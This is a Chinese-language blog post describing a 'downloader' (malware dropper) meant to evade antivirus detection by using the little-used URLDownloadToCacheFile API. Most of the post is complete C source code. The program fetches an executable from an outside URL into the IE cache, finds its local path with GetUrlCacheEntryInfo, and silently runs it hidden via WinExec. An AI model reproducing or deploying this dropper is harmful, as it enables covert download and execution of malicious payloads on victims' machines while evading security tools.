很少人用的下载者方法

今天看urlmon.h文件,看到其他几个下载的函数,想如果用别人不常用的UrlDownloadToFile函数,写出来下载者,会不会是免杀的?
开始动手查函数URLDownloadToCacheFile(msdn: http://msdn.microsoft.com/library/default.asp?url=/workshop/net ... /functions/urldownloadtocachefile.asp),看字面意思是下载文件到缓存文件,msdn上查到使用方法,执行一次下载后找到文件下载到了ie的缓存文件夹里.后来找能获取ie缓存文件夹的路径,又google了几分钟,终于找到个合适的api:GetUrlCacheEntryInfo(msdn:http://msdn2.microsoft.com/en-us/library/aa384185.aspx)

于是有了以下代码:

 ]

 #include<urlmon.h>
#include<Wininet.h>
#include<stdio.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"Wininet.lib")

#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/merge:.rdata=.text")

#define szUrl "http://www.spr1t3.com/hello.exe"

void main(int argc,char ** argv)
{
    URLDownloadToCacheFile(NULL,szUrl,"c://1.exe",50,0,NULL);
   
    DWORD dwEntrySize=0;
    LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
   
    char strTemp[255];
   
    if (!GetUrlCacheEntryInfo(szUrl,NULL,&dwEntrySize))
    {
        if (GetLastError()!=ERROR_INSUFFICIENT_BUFFER)
        {
            return;
        }
        else
            lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)new char[dwEntrySize];
    }
    else
        return;
   
    if (!GetUrlCacheEntryInfo(szUrl,lpCacheEntry,&dwEntrySize))
    {
        return;
    }
    else
    {
        memset(strTemp,0,255);
        strncpy(strTemp,lpCacheEntry->lpszLocalFileName,strlen(lpCacheEntry->lpszLocalFileName));
        WinExec(strTemp,SW_HIDE);
        return;
    }
}

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值